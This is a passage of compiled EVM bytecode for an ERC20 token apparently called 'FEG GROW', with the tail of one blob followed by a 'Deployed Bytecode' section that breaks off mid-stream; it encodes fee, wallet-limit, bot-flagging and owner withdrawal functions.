46001600160a01b031633146107175760405162461bcd60e51b815260040161070e90612762565b60405180910390fd5b6001600160a01b03166000908152600860205260409020805460ff1916911515919091179055565b600061074c84848461123a565b61079e843361079985604051806060016040528060288152602001612a04602891396001600160a01b038a166000908152600660209081526040808320338452909152902054919061135c565b611116565b5060015b9392505050565b60056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc546002546001600160a01b03166000908152604081205460015491926108019290916107fb9190611388565b90611388565b905090565b6000546001600160a01b031633146108305760405162461bcd60e51b815260040161070e90612762565b60285447906001600160a01b03166108fc61085660646108508587611394565b906113a0565b6040518115909202916000818181858888f1935050505015801561087e573d6000803e3d6000fd5b505050565b6000546001600160a01b031633146108ad5760405162461bcd60e51b815260040161070e90612762565b600d805460ff60a01b1916600160a01b179055601a805461ff0019166101001790556108d942826113ac565b600e5550565b6000546001600160a01b031633146109095760405162461bcd60e51b815260040161070e90612762565b602780546001600160a01b03199081166001600160a01b03998a169081179092556000918252600a6020526040808320805460ff1990811660019081179092556024805485169b8d169b8c17905599845281842080548b1682179055602580548416998c16998a1790559783529091208054909716909517909555602680548516938716939093179092556022805484169186169190911790556023805483169185169190911790556028805490911691909216179055565b6000546001600160a01b031633146109ec5760405162461bcd60e51b815260040161070e90612762565b6001600160a01b03166000908152600960205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610a3e5760405162461bcd60e51b815260040161070e90612762565b601f93909355602091909155601e55601d55565b6000546001600160a01b03163314610a7c5760405162461bcd60e51b815260040161070e90612762565b6001600160a01b03166000908152600b60205260409020805460ff19166001179055565b6000546001600160a01b03163314610aca5760405162461bcd60e51b815260040161070e90612762565b610ad26113b8565b565b6000546001600160a01b03163314610afe5760405162461bcd60e51b815260040161070e90612762565b610b0930338361123a565b50565b6000546001600160a01b03163314610b365760405162461bcd60e51b815260040161070e90612762565b602180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610b825760405162461bcd60e51b815260040161070e90612762565b6001600160a01b03166000908152600860209081526040808320805460ff1990811690915560098352818420805495151595821686179055600b90925290912080549091169091179055565b60006106da33848461123a565b6000546001600160a01b03163314610c055760405162461bcd60e51b815260040161070e90612762565b610c0f82826114a0565b5050565b6000546001600160a01b03163314610c3d5760405162461bcd60e51b815260040161070e90612762565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa158015610c84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca89190612782565b90506001600160a01b03841663a9059cbb84610cc960646108508688611394565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610d14573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d38919061279b565b5050505050565b6000546001600160a01b03163314610d695760405162461bcd60e51b815260040161070e90612762565b600061271083600154610d7c91906127ce565b610d8691906127ed565b9050600061271083600154610d9b91906127ce565b610da591906127ed565b60038390556004819055600154909150610dc8906103e890610850906005611394565b8210158015610df25750610dee6103e8610850600560015461139490919063ffffffff16565b8110155b610e545760405162461bcd60e51b815260206004820152602d60248201527f4d617820545820616e64204d61782057616c6c65742063616e6e6f742062652060448201526c6c657373207468616e202e352560981b606482015260840161070e565b50505050565b6001600160a01b03821660009081526008602052604081205460ff168015610e9957506001600160a01b03831660009081526007602052604090205442115b8015610eac5750601a54610100900460ff165b80610f0457506001600160a01b03821660009081526008602052604090205460ff168015610ef157506001600160a01b03831660009081526007602052604090205442115b8015610f045750601a54610100900460ff165b80610f10575042600e54115b15610f2a57601554610f23906064611388565b90506106de565b600d546001600160a01b03848116911614610f4e57601454601354610f23916113ac565b5060135492915050565b6000546001600160a01b03163314610f825760405162461bcd60e51b815260040161070e90612762565b6016805460ff191692151592909217909155601b55565b6000546001600160a01b03163314610fc35760405162461bcd60e51b815260040161070e90612762565b600f8590556010849055601183905560128290556014819055610ff282610fec858189896113ac565b906113ac565b6013556015546110039060056113a0565b6013541115610d385760405162461bcd60e51b815260206004820152601b60248201527f5461782063616e6e6f74206265206d6f7265207468616e203230250000000000604482015260640161070e565b6000546001600160a01b0316331461107e5760405162461bcd60e51b815260040161070e90612762565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6000546001600160a01b031633146110fc5760405162461bcd60e51b815260040161070e90612762565b601a80549115156101000261ff0019909216919091179055565b6001600160a01b0383166111785760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161070e565b6001600160a01b0382166111d95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161070e565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6112458383836115a7565b61124f8383611751565b61125a8383836117dd565b61126483836118d7565b61126f83838361198b565b61127a838383611a17565b6001600160a01b03831660009081526005602052604090205461129d9082611388565b6001600160a01b0384166000908152600560205260408120919091556112c38484611a3c565b6112cd57816112d8565b6112d8848484611a82565b6001600160a01b0384166000908152600560205260409020549091506112fe90826113ac565b6001600160a01b038085166000818152600560205260409081902093909355915190861690600080516020612a2c833981519152906113409085815260200190565b60405180910390a36113528383611d4a565b610e548484611e03565b600081848411156113805760405162461bcd60e51b815260040161070e9190612490565b505050900390565b60006107a2828461280f565b60006107a282846127ce565b60006107a282846127ed565b60006107a28284612826565b600d546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa158015611401573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114259190612782565b600d5460285460405163a9059cbb60e01b81526001600160a01b03918216600482015260248101849052929350169063a9059cbb906044016020604051808303816000875af115801561147c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0f919061279b565b4760006114b1836108508487611394565b905060006114c56064610850846032611394565b905060006114d96064610850856032611394565b905060006114ec60646108508684611394565b6024546040519192506001600160a01b03169084156108fc029085906000818181858888f19350505050158015611527573d6000803e3d6000fd5b506025546040516001600160a01b039091169083156108fc029084906000818181858888f19350505050158015611562573d6000803e3d6000fd5b506026546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561159d573d6000803e3d6000fd5b5050505050505050565b6001600160a01b03831661160b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161070e565b6001600160a01b03821661166d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161070e565b600081116116cf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161070e565b6001600160a01b03831660009081526005602052604090205481111561087e5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161070e565b6001600160a01b0382166000908152600b602052604090205460ff1615801561179357506001600160a01b0381166000908152600b602052604090205460ff16155b15610c0f57600d54600160a01b900460ff16610c0f5760405162461bcd60e51b815260206004820152600960248201526807374617274537761760bc1b604482015260640161070e565b6001600160a01b0383166000908152600b602052604090205460ff1615801561181f57506001600160a01b0382166000908152600b602052604090205460ff16155b801561184457506001600160a01b03821660009081526009602052604090205460ff16155b801561185e57506002546001600160a01b03838116911614155b1561087e576004546001600160a01b03831660009081526005602052604090205461188990836113ac565b111561087e5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161070e565b600d546001600160a01b0383811691161480159061190e57506001600160a01b03821660009081526009602052604090205460ff16155b801561193357506001600160a01b0381166000908152600b602052604090205460ff16155b1561194a576018546119469060016113ac565b6018555b600d546001600160a01b0390811690831603610c0f5760175461196e9042906113ac565b6001600160a01b0382166000908152600760205260409020555050565b600354811115806119b457506001600160a01b0383166000908152600b602052604090205460ff165b806119d757506001600160a01b0382166000908152600b602052604090205460ff165b61087e5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161070e565b611a22838383611fb7565b1561087e57611a32601b54612061565b6000601855505050565b6001600160a01b0382166000908152600b602052604081205460ff161580156107a25750506001600160a01b03166000908152600b602052604090205460ff1615919050565b6000611a8e84846121f8565b15611d43576000611a9f8585610e5a565b90506000611abd601554610850611ab68989610e5a565b8790611394565b90506000611ada836108506012548561139490919063ffffffff16565b1115611b7c57611b1d611afc836108506012548561139490919063ffffffff16565b6002546001600160a01b0316600090815260056020526040902054906113ac565b600280546001600160a01b039081166000908152600560205260409020929092555460125490821691881690600080516020612a2c83398151915290611b6a908690610850908790611394565b60405190815260200160405180910390a35b6000611b97836108506011548561139490919063ffffffff16565b1115611c3957611bda611bb9836108506011548561139490919063ffffffff16565b6023546001600160a01b0316600090815260056020526040902054906113ac565b602380546001600160a01b039081166000908152600560205260409020929092555460115490821691881690600080516020612a2c83398151915290611c27908690610850908790611394565b60405190815260200160405180910390a35b6000611c7a611c57846108506011548661139490919063ffffffff16565b6107fb611c73866108506012548861139490919063ffffffff16565b8590611388565b1115611d3057611cb5611c9f611c57846108506011548661139490919063ffffffff16565b30600090815260056020526040902054906113ac565b306000818152600560205260409020919091556011546001600160a01b03881690600080516020612a2c83398151915290611d1e90611cfb908790610850908890611394565b6107fb611d17886108506012548a61139490919063ffffffff16565b8790611388565b60405190815260200160405180910390a35b611d3a8482611388565b925050506107a2565b5092915050565b6001600160a01b0382166000908152600a602052604090205460ff168015611d875750611d796009600a612922565b611d849060026127ce565b81105b15611d9757611d976001806114a0565b6001600160a01b0382166000908152600a602052604090205460ff168015611dd55750611dc66009600a612922565b611dd19060026127ce565b8110155b8015611df65750611de86009600a612922565b611df39060036127ce565b81105b15610c0f57610c0f6113b8565b813b15158015611e2c57506001600160a01b03821660009081526009602052604090205460ff16155b8015611e3f5750601a54610100900460ff165b80611e9a5750600d546001600160a01b038381169116148015611e695750601a54610100900460ff165b8015611e8e57506001600160a01b03821660009081526009602052604090205460ff16155b8015611e9a5750333214155b80611ea6575042600e54115b15611ecf576001600160a01b0382166000908152600860205260409020805460ff191660011790555b803b15158015611ef857506001600160a01b03811660009081526009602052604090205460ff16155b8015611f1d57506001600160a01b0381166000908152600b602052604090205460ff16155b8015611f305750601a54610100900460ff165b80611f8b5750600d546001600160a01b038381169116148015611f6c57506001600160a01b03821660009081526009602052604090205460ff16155b8015611f785750333214155b8015611f8b5750601a54610100900460ff165b15610c0f576001600160a01b0381166000908152600860205260409020805460ff191660011790555050565b601c54601b5430600090815260056020526040812054601a5491938510159211159060ff16158015611feb575060165460ff165b8015611ff45750815b801561201957506001600160a01b03861660009081526009602052604090205460ff16155b801561203e57506001600160a01b0385166000908152600b602052604090205460ff16155b801561204e575060195460185410155b80156120575750805b9695505050505050565b601a805460ff19166001179055601f54601d54602054601e5460009361208e939092610fec9283916113ac565b6120999060026127ce565b905060006120b682610850601e548661139490919063ffffffff16565b905060006120c48483611388565b9050476120d082612289565b60006120dc4783611388565b905060006120ff6120f8601e548861138890919063ffffffff16565b83906113a0565b90506000612118601e548361139490919063ffffffff16565b9050801561212a5761212a86826123e3565b601d546000906121459061213f856002611394565b90611394565b90508015612189576027546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612187573d6000803e3d6000fd5b505b60205460009061219e9061213f866002611394565b905080156121e2576022546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156121e0573d6000803e3d6000fd5b505b5050601a805460ff191690555050505050505050565b60008060135411801561220e5750601a5460ff16155b8061225357506001600160a01b03831660009081526008602052604090205460ff16801561225357506001600160a01b03831660009081526007602052604090205442115b8061227657506001600160a01b03821660009081526008602052604090205460ff165b806107a2575042600e5411905092915050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106122be576122be612931565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612317573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061233b9190612947565b8160018151811061234e5761234e612931565b6001600160a01b039283166020918202929092010152600c546123749130911684611116565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906123ad908590600090869030904290600401612964565b600060405180830381600087803b1580156123c757600080fd5b505af11580156123db573d6000803e3d6000fd5b505050505050565b600c546123fb9030906001600160a01b031684611116565b600c5460215460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af115801561246b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d3891906129d5565b600060208083528351808285015260005b818110156124bd578581018301518582016040015282016124a1565b818111156124cf576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610b0957600080fd5b6000806040838503121561250d57600080fd5b8235612518816124e5565b946020939093013593505050565b8015158114610b0957600080fd5b6000806040838503121561254757600080fd5b823561255281612526565b91506020830135612562816124e5565b809150509250929050565b60008060006060848603121561258257600080fd5b833561258d816124e5565b9250602084013561259d816124e5565b929592945050506040919091013590565b6000602082840312156125c057600080fd5b81356107a2816124e5565b6000602082840312156125dd57600080fd5b5035919050565b600080600080600080600060e0888a0312156125ff57600080fd5b873561260a816124e5565b9650602088013561261a816124e5565b9550604088013561262a816124e5565b9450606088013561263a816124e5565b9350608088013561264a816124e5565b925060a088013561265a816124e5565b915060c088013561266a816124e5565b8091505092959891949750929550565b6000806000806080858703121561269057600080fd5b5050823594602084013594506040840135936060013592509050565b600080604083850312156126bf57600080fd5b50508035926020909101359150565b600080604083850312156126e157600080fd5b8235612552816124e5565b600080604083850312156126ff57600080fd5b823561251881612526565b600080600080600060a0868803121561272257600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b60006020828403121561275757600080fd5b81356107a281612526565b60208082526006908201526510a7aba722a960d11b604082015260600190565b60006020828403121561279457600080fd5b5051919050565b6000602082840312156127ad57600080fd5b81516107a281612526565b634e487b7160e01b600052601160045260246000fd5b60008160001904831182151516156127e8576127e86127b8565b500290565b60008261280a57634e487b7160e01b600052601260045260246000fd5b500490565b600082821015612821576128216127b8565b500390565b60008219821115612839576128396127b8565b500190565b600181815b8085111561287957816000190482111561285f5761285f6127b8565b8085161561286c57918102915b93841c9390800290612843565b509250929050565b600082612890575060016106de565b8161289d575060006106de565b81600181146128b357600281146128bd576128d9565b60019150506106de565b60ff8411156128ce576128ce6127b8565b50506001821b6106de565b5060208310610133831016604e8410600b84101617156128fc575081810a6106de565b612906838361283e565b806000190482111561291a5761291a6127b8565b029392505050565b60006107a260ff841683612881565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561295957600080fd5b81516107a2816124e5565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156129b45784516001600160a01b03168352938301939183019160010161298f565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156129ea57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122066871ef03dea533a2b5af24f114c7e3978af77ef7c1adf56029b627ae845151464736f6c634300080f0033

Deployed Bytecode

0x6080604052600436106102085760003560e01c80637d1db4a511610118578063b2118a8d116100a0578063dd62ed3e1161006f578063dd62ed3e14610607578063df20fd491461064d578063eab281bd1461066d578063f2fde38b1461068d578063fc5266c8146106ad57600080fd5b8063b2118a8d1461056e578063c5a11b7b1461058e578063c79e12eb146105c7578063d2d55dde146105e757600080fd5b806391e0f7e9116100e757806391e0f7e9146104ee57806395d89b4114610214578063a8aa1b311461050e578063a9059cbb1461052e578063aff75ce11461054e57600080fd5b80637d1db4a51461046657806386904fc71461047c578063893d20e81461049c5780639017ab2d146104ce57600080fd5b8063313ce5671161019b5780636ca105491161016a5780636ca10549146103c557806370a08231146103e5578063749796a51461041b5780637598122d1461043b57806378109e541461045057600080fd5b8063313ce5671461034957806334b489bf146103655780633c2249d3146103855780635def85e4146103a557600080fd5b806323b872dd116101d757806323b872dd146102c55780632b112e49146102e55780632f54bf6e146102fa5780633052ea081461032957600080fd5b806306fdde0314610214578063095ea7b31461025457806318160ddd146102845780631d501240146102a357600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b5060408051808201825260088152674645472047524f5760c01b6020820152905161024b9190612490565b60405180910390f35b34801561026057600080fd5b5061027461026f3660046124fa565b6106cd565b604051901515815260200161024b565b34801561029057600080fd5b506001545b60405190815260200161024b565b3480156102af57600080fd5b506102c36102be366004612534565b6106e4565b005b3480156102d157600080fd5b506102746102e036600461256d565b61073f565b3480156102f157600080fd5b506102956107a9565b34801561030657600080fd5b506102746103153660046125ae565b6000546001600160a01b0391821691161490565b34801561033557600080fd5b506102c36103443660046125cb565b610806565b34801561035557600080fd5b506040516009815260200161024b565b34801561037157600080fd5b506102c36103803660046125cb565b610883565b34801561039157600080fd5b506102c36103a03660046125e4565b6108df565b3480156103b157600080fd5b506102c36103c0366004612534565b6109c2565b3480156103d157600080fd5b506102c36103e036600461267a565b610a14565b3480156103f157600080fd5b506102956104003660046125ae565b6001600160a01b031660009081526005602052604090205490565b34801561042757600080fd5b506102c36104363660046125ae565b610a52565b34801561044757600080fd5b506102c3610aa0565b34801561045c57600080fd5b5061029560045481565b34801561047257600080fd5b5061029560035481565b34801561048857600080fd5b506102c36104973660046125cb565b610ad4565b3480156104a857600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161024b565b3480156104da57600080fd5b506102c36104e93660046125ae565b610b0c565b3480156104fa57600080fd5b506102c3610509366004612534565b610b58565b34801561051a57600080fd5b50600d546104b6906001600160a01b031681565b34801561053a57600080fd5b506102746105493660046124fa565b610bce565b34801561055a57600080fd5b506102c36105693660046126ac565b610bdb565b34801561057a57600080fd5b506102c361058936600461256d565b610c13565b34801561059a57600080fd5b506102746105a93660046125ae565b6001600160a01b031660009081526008602052604090205460ff1690565b3480156105d357600080fd5b506102c36105e23660046126ac565b610d3f565b3480156105f357600080fd5b506102956106023660046126ce565b610e5a565b34801561061357600080fd5b506102956106223660046126ce565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561065957600080fd5b506102c36106683660046126ec565b610f58565b34801561067957600080fd5b506102c361068836600461270a565b610f99565b34801561069957600080fd5b506102c36106a83660046125ae565b611054565b3480156106b957600080fd5b506102c36106c8366004612745565b6110d2565b60006106da338484611116565b5060015b92915050565b6000546001600160a01b031633146107175760405162461bcd60e51b815260040161070e90612762565b60405180910390fd5b6001600160a01b03166000908152600860205260409020805460ff1916911515919091179055565b600061074c84848461123a565b61079e843361079985604051806060016040528060288152602001612a04602891396001600160a01b038a166000908152600660209081526040808320338452909152902054919061135c565b611116565b5060015b9392505050565b60056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc546002546001600160a01b03166000908152604081205460015491926108019290916107fb9190611388565b90611388565b905090565b6000546001600160a01b031633146108305760405162461bcd60e51b815260040161070e90612762565b60285447906001600160a01b03166108fc61085660646108508587611394565b906113a0565b6040518115909202916000818181858888f1935050505015801561087e573d6000803e3d6000fd5b505050565b6000546001600160a01b031633146108ad5760405162461bcd60e51b815260040161070e90612762565b600d805460ff60a01b1916600160a01b179055601a805461ff0019166101001790556108d942826113ac565b600e5550565b6000546001600160a01b031633146109095760405162461bcd60e51b815260040161070e90612762565b602780546001600160a01b03199081166001600160a01b03998a169081179092556000918252600a6020526040808320805460ff1990811660019081179092556024805485169b8d169b8c17905599845281842080548b1682179055602580548416998c16998a1790559783529091208054909716909517909555602680548516938716939093179092556022805484169186169190911790556023805483169185169190911790556028805490911691909216179055565b6000546001600160a01b031633146109ec5760405162461bcd60e51b815260040161070e90612762565b6001600160a01b03166000908152600960205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610a3e5760405162461bcd60e51b815260040161070e90612762565b601f93909355602091909155601e55601d55565b6000546001600160a01b03163314610a7c5760405162461bcd60e51b815260040161070e90612762565b6001600160a01b03166000908152600b60205260409020805460ff19166001179055565b6000546001600160a01b03163314610aca5760405162461bcd60e51b815260040161070e90612762565b610ad26113b8565b565b6000546001600160a01b03163314610afe5760405162461bcd60e51b815260040161070e90612762565b610b0930338361123a565b50565b6000546001600160a01b03163314610b365760405162461bcd60e51b815260040161070e90612762565b602180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610b825760405162461bcd60e51b815260040161070e90612762565b6001600160a01b03166000908152600860209081526040808320805460ff1990811690915560098352818420805495151595821686179055600b90925290912080549091169091179055565b60006106da33848461123a565b6000546001600160a01b03163314610c055760405162461bcd60e51b815260040161070e90612762565b610c0f82826114a0565b5050565b6000546001600160a01b03163314610c3d5760405162461bcd60e51b815260040161070e90612762565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa158015610c84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca89190612782565b90506001600160a01b03841663a9059cbb84610cc960646108508688611394565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610d14573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d38919061279b565b5050505050565b6000546001600160a01b03163314610d695760405162461bcd60e51b815260040161070e90612762565b600061271083600154610d7c91906127ce565b610d8691906127ed565b9050600061271083600154610d9b91906127ce565b610da591906127ed565b60038390556004819055600154909150610dc8906103e890610850906005611394565b8210158015610df25750610dee6103e8610850600560015461139490919063ffffffff16565b8110155b610e545760405162461bcd60e51b815260206004820152602d60248201527f4d617820545820616e64204d61782057616c6c65742063616e6e6f742062652060448201526c6c657373207468616e202e352560981b606482015260840161070e565b50505050565b6001600160a01b03821660009081526008602052604081205460ff168015610e9957506001600160a01b03831660009081526007602052604090205442115b8015610eac5750601a54610100900460ff165b80610f0457506001600160a01b03821660009081526008602052604090205460ff168015610ef157506001600160a01b03831660009081526007602052604090205442115b8015610f045750601a54610100900460ff165b80610f10575042600e54115b15610f2a57601554610f23906064611388565b90506106de565b600d546001600160a01b03848116911614610f4e57601454601354610f23916113ac565b5060135492915050565b6000546001600160a01b03163314610f825760405162461bcd60e51b815260040161070e90612762565b6016805460ff191692151592909217909155601b55565b6000546001600160a01b03163314610fc35760405162461bcd60e51b815260040161070e90612762565b600f8590556010849055601183905560128290556014819055610ff282610fec858189896113ac565b906113ac565b6013556015546110039060056113a0565b6013541115610d385760405162461bcd60e51b815260206004820152601b60248201527f5461782063616e6e6f74206265206d6f7265207468616e203230250000000000604482015260640161070e565b6000546001600160a01b0316331461107e5760405162461bcd60e51b815260040161070e90612762565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6000546001600160a01b031633146110fc5760405162461bcd60e51b815260040161070e90612762565b601a80549115156101000261ff0019909216919091179055565b6001600160a01b0383166111785760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161070e565b6001600160a01b0382166111d95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161070e565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6112458383836115a7565b61124f8383611751565b61125a8383836117dd565b61126483836118d7565b61126f83838361198b565b61127a838383611a17565b6001600160a01b03831660009081526005602052604090205461129d9082611388565b6001600160a01b0384166000908152600560205260408120919091556112c38484611a3c565b6112cd57816112d8565b6112d8848484611a82565b6001600160a01b0384166000908152600560205260409020549091506112fe90826113ac565b6001600160a01b038085166000818152600560205260409081902093909355915190861690600080516020612a2c833981519152906113409085815260200190565b60405180910390a36113528383611d4a565b610e548484611e03565b600081848411156113805760405162461bcd60e51b815260040161070e9190612490565b505050900390565b60006107a2828461280f565b60006107a282846127ce565b60006107a282846127ed565b60006107a28284612826565b600d546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa158015611401573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114259190612782565b600d5460285460405163a9059cbb60e01b81526001600160a01b03918216600482015260248101849052929350169063a9059cbb906044016020604051808303816000875af115801561147c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0f919061279b565b4760006114b1836108508487611394565b905060006114c56064610850846032611394565b905060006114d96064610850856032611394565b905060006114ec60646108508684611394565b6024546040519192506001600160a01b03169084156108fc029085906000818181858888f19350505050158015611527573d6000803e3d6000fd5b506025546040516001600160a01b039091169083156108fc029084906000818181858888f19350505050158015611562573d6000803e3d6000fd5b506026546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561159d573d6000803e3d6000fd5b5050505050505050565b6001600160a01b03831661160b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161070e565b6001600160a01b03821661166d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161070e565b600081116116cf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161070e565b6001600160a01b03831660009081526005602052604090205481111561087e5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161070e565b6001600160a01b0382166000908152600b602052604090205460ff1615801561179357506001600160a01b0381166000908152600b602052604090205460ff16155b15610c0f57600d54600160a01b900460ff16610c0f5760405162461bcd60e51b815260206004820152600960248201526807374617274537761760bc1b604482015260640161070e565b6001600160a01b0383166000908152600b602052604090205460ff1615801561181f57506001600160a01b0382166000908152600b602052604090205460ff16155b801561184457506001600160a01b03821660009081526009602052604090205460ff16155b801561185e57506002546001600160a01b03838116911614155b1561087e576004546001600160a01b03831660009081526005602052604090205461188990836113ac565b111561087e5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161070e565b600d546001600160a01b0383811691161480159061190e57506001600160a01b03821660009081526009602052604090205460ff16155b801561193357506001600160a01b0381166000908152600b602052604090205460ff16155b1561194a576018546119469060016113ac565b6018555b600d546001600160a01b0390811690831603610c0f5760175461196e9042906113ac565b6001600160a01b0382166000908152600760205260409020555050565b600354811115806119b457506001600160a01b0383166000908152600b602052604090205460ff165b806119d757506001600160a01b0382166000908152600b602052604090205460ff165b61087e5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161070e565b611a22838383611fb7565b1561087e57611a32601b54612061565b6000601855505050565b6001600160a01b0382166000908152600b602052604081205460ff161580156107a25750506001600160a01b03166000908152600b602052604090205460ff1615919050565b6000611a8e84846121f8565b15611d43576000611a9f8585610e5a565b90506000611abd601554610850611ab68989610e5a565b8790611394565b90506000611ada836108506012548561139490919063ffffffff16565b1115611b7c57611b1d611afc836108506012548561139490919063ffffffff16565b6002546001600160a01b0316600090815260056020526040902054906113ac565b600280546001600160a01b039081166000908152600560205260409020929092555460125490821691881690600080516020612a2c83398151915290611b6a908690610850908790611394565b60405190815260200160405180910390a35b6000611b97836108506011548561139490919063ffffffff16565b1115611c3957611bda611bb9836108506011548561139490919063ffffffff16565b6023546001600160a01b0316600090815260056020526040902054906113ac565b602380546001600160a01b039081166000908152600560205260409020929092555460115490821691881690600080516020612a2c83398151915290611c27908690610850908790611394565b60405190815260200160405180910390a35b6000611c7a611c57846108506011548661139490919063ffffffff16565b6107fb611c73866108506012548861139490919063ffffffff16565b8590611388565b1115611d3057611cb5611c9f611c57846108506011548661139490919063ffffffff16565b30600090815260056020526040902054906113ac565b306000818152600560205260409020919091556011546001600160a01b03881690600080516020612a2c83398151915290611d1e90611cfb908790610850908890611394565b6107fb611d17886108506012548a61139490919063ffffffff16565b8790611388565b60405190815260200160405180910390a35b611d3a8482611388565b925050506107a2565b5092915050565b6001600160a01b0382166000908152600a602052604090205460ff168015611d875750611d796009600a612922565b611d849060026127ce565b81105b15611d9757611d976001806114a0565b6001600160a01b0382166000908152600a602052604090205460ff168015611dd55750611dc66009600a612922565b611dd19060026127ce565b8110155b8015611df65750611de86009600a612922565b611df39060036127ce565b81105b15610c0f57610c0f6113b8565b813b15158015611e2c57506001600160a01b03821660009081526009602052604090205460ff16155b8015611e3f5750601a54610100900460ff165b80611e9a5750600d546001600160a01b038381169116148015611e695750601a54610100900460ff165b8015611e8e57506001600160a01b03821660009081526009602052604090205460ff16155b8015611e9a5750333214155b80611ea6575042600e54115b15611ecf576001600160a01b0382166000908152600860205260409020805460ff191660011790555b803b15158015611ef857506001600160a01b03811660009081526009602052604090205460ff16155b8015611f1d57506001600160a01b0381166000908152600b602052604090205460ff16155b8015611f305750601a54610100900460ff165b80611f8b5750600d546001600160a01b038381169116148015611f6c57506001600160a01b03821660009081526009602052604090205460ff16155b8015611f785750333214155b8015611f8b5750601a54610100900460ff165b15610c0f576001600160a01b0381166000908152600860205260409020805460ff191660011790555050565b601c54601b5430600090815260056020526040812054601a5491938510159211159060ff16158015611feb575060165460ff165b8015611ff45750815b801561201957506001600160a01b0386166000908152600960205260409020546